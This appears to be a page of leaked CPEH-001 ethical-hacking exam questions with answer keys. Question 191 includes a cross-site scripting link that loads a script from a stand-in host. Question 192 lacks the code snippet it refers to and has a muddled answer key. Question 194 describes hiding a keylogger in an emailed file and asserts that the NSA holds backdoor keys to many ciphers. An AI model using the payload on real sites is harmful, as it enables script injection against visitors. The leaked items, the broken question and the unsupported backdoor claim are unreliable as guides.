Free CPEH-001 Exam braindumps download (CPEH-001 exam dumps Free)

QUESTION: 191

This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.

<ahref="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js %22%3E%3C/script%3E">See foobar</a>
What is this attack?

Cross-site-scripting attack
SQL Injection
URL Traversal attack
Buffer Overflow attack

Answer(s): A

Show Answer Next Question

QUESTION: 192

Buffer X in an Accounting application module for Brownies Inc. can contain 200 characters. The programmer makes an assumption that 200 characters are more than enough. Because there were no proper boundary checks being conducted, Bob decided to insert 400 characters into the 200- character buffer. (Overflows the buffer). Below is the code snippet:

How can you protect/fix the problem of your application as shown above?

Because the counter starts with 0, we would stop when the counter is less than 200
Because the counter starts with 0, we would stop when the counter is more than 200
Add a separate statement to signify that if we have written less than 200 characters to the buffer, the stack should stop because it cannot hold any more data
Add a separate statement to signify that if we have written 200 characters to the buffer, the stack should stop because it cannot hold any more data

Answer(s): A,D

Show Answer Next Question

QUESTION: 193

Which of the following encryption is NOT based on block cipher?

DES
Blowfish
AES (Rijndael)
RC4

Answer(s): D

Show Answer Next Question

QUESTION: 194

Michael is a junior security analyst working for the National Security Agency (NSA) working primarily on breaking terrorist encrypted messages. The NSA has a number of methods they use to decipher encrypted messages including Government Access to Keys (GAK) and inside informants. The NSA holds secret backdoor keys to many of the encryption algorithms used on the Internet. The problem for the NSA, and Michael, is that terrorist organizations are starting to use custom-built algorithms or obscure algorithms purchased from corrupt governments. For this reason, Michael and other security analysts like him have been forced to find different methods of deciphering terrorist messages. One method that Michael thought of using was to hide malicious code inside seemingly harmless programs. Michael first monitors sites and bulletin boards used by known terrorists, and then he is able to glean email addresses to some of these suspected terrorists. Michael then inserts a stealth keylogger into a mapping program file readme.txt and then sends that as an attachment to the terrorist. This keylogger takes screenshots every 2 minutes and also logs all keyboard activity into a hidden file on the terrorist's computer. Then, the keylogger emails those files to Michael twice a day with a built in SMTP server.
What technique has Michael used to disguise this keylogging software?